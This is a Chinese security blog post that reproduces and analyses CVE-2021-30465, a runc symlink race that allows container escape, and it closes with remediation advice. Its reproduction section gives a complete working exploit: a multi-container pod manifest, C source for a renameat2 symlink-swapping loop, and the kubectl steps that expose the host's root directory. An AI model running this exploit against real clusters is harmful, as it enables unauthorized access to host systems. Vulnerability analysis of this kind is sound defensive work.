前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >CVE-2021-30465——runc竞争条件漏洞复现与分析

CVE-2021-30465——runc竞争条件漏洞复现与分析

作者头像
公众号爱国小白帽
发布2021-06-16 14:53:03
2.8K0
发布2021-06-16 14:53:03
举报

0x01 漏洞简介

近日国外安全研究员发布了可导致容器逃逸的runc漏洞 POC,该漏洞影响runc 1.0.0-rc94以及之前的版本,对应CVE编号:CVE-2021-30465。

runc 是一个CLI工具,用于根据OCI规范生成和运行容器,该工具被广泛的应用于各种虚拟化环境中,如Kubernets。

该漏洞是由于挂载卷时,runc 不信任目标参数,并将使用 “filepath-securejoin” 库来解析任何符号链接并确保解析的目标在容器根目录中,但是如果用符号链接替换检查的目标文件时,可以将主机文件挂载到容器中。黑客可利用该漏洞能将宿主机目录挂载到容器中,来实现容器逃逸。

0x02 预备知识

在容器层面挂载卷和挂载目录是不一样的。

挂载目录,对容器来说,只是简单把目录与容器的目录做映射绑定,而目录的权限还是在主机,需要用户自制维护,手动处理权限等问题。

卷 (Volume) 是受控存储,挂载卷后是由容器引擎进行管理维护的,也就是把对应卷的所有权交给了容器引擎(本次漏洞的核心点)。

而卷下面的所有操作就包含对存储、目录、软链接等等一系列。

而CVE-2021-30465漏洞就是由于runc没有处理好卷下面的资源竞争的问题而导致的。

0x03 漏洞描述

首先我们需要定义卷A ,其次a容器挂载了卷A,同时也挂载了卷A下面的目录。

当a容器起来后,恶意程序疯狂的在挂载的目录下刷新软连接与目录的关系。与此同时b容器也像a容器一样挂载了相同中的卷和对应卷下面的目录。

因为卷所有权这个时候是在引擎内,并且a容器相同卷下的目录还在刷新软连接(相同于创建软连接)这个时间在容器引擎内部就会存在资源竞争。

一个萝卜一个坑,而2个萝卜占一坑时,就成了薛定谔的萝卜,不能确定到底是谁占了这个坑(TOCTTOU漏洞)。这也就是官方会在漏洞里面的解释不是一定能把漏洞命中的原因。

0x04 漏洞影响

CVE-2021-30465容器逃逸漏洞主要影响以下版本:

runc 1.0.0-rc94以及之前的版本,建议更新到1.0-rc95以上版本

补丁或安全更新版本官方下载地址:

https://github.com/opencontainers/runc/releases

0x05 漏洞复现

本次漏洞因为存在一定的机率问题,使用docker等单个容器管理很难看到效果。故使用K8S的POD能力,对多个容器进行实验。

runc版本:runc version 1.0.0-rc93

K8S版本:v1.15.5

Docker 版本:Docker version 18.06.3-ce

a. 定义好卷,和恶意容器(包含恶意刷软连接的程序)

b. 在POD中定义多容器挂载和恶意容器相同中的卷,并同时在启动的时挂载卷下面的目录在容器中

c. 批量查看POD中的容器挂载的目录内容。如果出现主机端的根目录下的内容,说明漏洞利用成功,容器可以在该挂载的目录下随意的访问到主机根目录的内容。

步骤一:创建攻击pod

代码语言:javascript
复制
# kubectl create -f - <<EOF
apiVersion: v1
kind: Pod
metadata:
    name: attack
spec:
    terminationGracePeriodSeconds: 1
    containers:
    - name: c1
      image: ubuntu:latest
      command: [ "/bin/sleep", "inf" ]
      env:
      - name: MY_POD_UID
        valueFrom:
          fieldRef:
            fieldPath: metadata.uid 
      volumeMounts:
        - name: test1
          mountPath: /test1
        - name: test2
          mountPath: /test2
$(for c in {2..20}; do
cat <<EOC
    - name: c$c
      image: donotexists.com/do/not:exist
      command: [ "/bin/sleep", "inf" ]
      volumeMounts: #容器内挂载点
        - name: test1 #宿主机目录名
          mountPath: /test1 #容器内目录名
        - name: test2
          mountPath: /test1/mnt1
        - name: test2
          mountPath: /test1/mnt2
        - name: test2
          mountPath: /test1/mnt3
        - name: test2
          mountPath: /test1/mnt4
        - name: test2
          mountPath: /test1/zzz
EOC
done
)
    volumes:
      - name: test1 #宿主机目录名
        emptyDir: #宿主机挂载点
          medium: "Memory"
      - name: test2
        emptyDir:
          medium: "Memory"
EOF

其中c1为攻击容器挂载主机上的目录卷到容器。

其中c2~c20的容器挂载相同的目录卷和对应的目录的子目录。

步骤二:编译恶意程序

代码语言:javascript
复制
#define _GNU_SOURCE

#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <unistd.h>
#include <sys/syscall.h>

#ifndef RENAME_EXCHANGE
#define RENAME_EXCHANGE (1 << 1) 
#endif

int main(int argc, char *argv[]) {
    if (argc != 4) {
        fprintf(stderr, "Usage: %s name1 name2 linkdest\n", argv[0]);
        exit(EXIT_FAILURE);
    }
    char *name1 = argv[1], *name2 = argv[2], *linkdest = argv[3];

    int dirfd = open(".", O_DIRECTORY|O_CLOEXEC);
    if (dirfd < 0)
        exit(EXIT_FAILURE);

    if (mkdir(name1, 0755) < 0)
        perror("mkdir failed");
    if (symlink(linkdest, name2) < 0)
        perror("symlink failed");

    while (1)
        syscall(SYS_renameat2, dirfd, name1, dirfd, name2, RENAME_EXCHANGE);
}

步骤三:执行恶意程序

编译出对应的程序,并放到c1容器内:

代码语言:javascript
复制
kubectl cp cve-2021-30465-poc -c c1 attack:/test1/

把恶意程序放到以c1容器当后,进到c1容器内:

代码语言:javascript
复制
kubectl exec -ti pod/attack -c c1 – bash

在c1容器内创建以下符号链接:

代码语言:javascript
复制
ln -s / /test2/test2

进到/test1目录下,执行:

代码语言:javascript
复制
seq 1 4 | xargs -n1 -P4 -I{} ./ cve-2021-30465-poc mnt{} mnt-tmp{} /var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/

更新合法镜像,这里将容器c2-c20的镜像更新为合法的镜像,容器c2-c20会开始一个一个被成功创建。在主机节点新开一个远程终端,然后执行以下命令:

代码语言:javascript
复制
for c in {2..20}; do
  kubectl set image pod attack c$c=ubuntu:latest
done

看看漏洞利用结果,如果漏洞利用成功,容器内的/test1/zzz目录会逃逸到宿主机内。执行如下命令查看是利用成功:

代码语言:javascript
复制
for c in {2..20}; do
  echo ~~ Container c$c ~~
  kubectl exec -ti pod/attack -c c$c -- ls /test1/zzz
done

利用成功如图,会打印/test1/zzz目录下的内容,是否为根目录:

0x06 漏洞分析

runc 使用“filepath-securejoin库中的SecureJoinVFS函数来解析传进来的路径是否合法。runc 在调用 SecureJoinVFS 函数解析之后会将源目录挂载到校验通过的目标目录中。

但是如果在调用 SecureJoinVFS 函数解析合法之后,立马用符号链接替换检查的目标文件时,通过精心构造符号链接可以将主机文件目录挂载到容器中。

因为是利用竞争条件来进行利用的,有很大概率失败的。本次漏洞利用的过程,只有11号容器命中该漏洞,成功访问到主机根目录。

该漏洞相对来说比较鸡肋,漏洞利用场景不多。需要结合类似k8s这种对容器进行编排的工具才能进行利用。漏洞利用需要多个容器挂载同一个文件卷,现在有的利用方式就是攻击者能控制用户使用攻击者构造的恶意 yaml 文件来生成pod,这样才有机会进行漏洞利用并逃逸到宿主机。

0x07 漏洞修复

本次漏洞的细节和利用代码已经完全公开,虽然漏洞的利用存在一定的机率,但只要有一次,伤害就是100%。

1、 升级runc至官网给出的最新版本

2、 使用经审核和受信的容器镜像

3、 使用Red Hat官方提供的漏洞检测脚本,自检。

https://access.redhat.com/sites/default/files/cve-2021-30465--2021-05-19-0759.sh

0x08 参考链接

https://blog.champtar.fr/runc-symlink-CVE-2021-30465/

https://github.com/opencontainers/runc/commit/0ca91f44f1664da834bc61115a849b56d22f595f

END

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2021-06-08,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 爱国小白帽 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
相关产品与服务
容器服务
腾讯云容器服务(Tencent Kubernetes Engine, TKE)基于原生 kubernetes 提供以容器为核心的、高度可扩展的高性能容器管理服务,覆盖 Serverless、边缘计算、分布式云等多种业务部署场景,业内首创单个集群兼容多种计算节点的容器资源管理模式。同时产品作为云原生 Finops 领先布道者,主导开源项目Crane,全面助力客户实现资源优化、成本控制。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档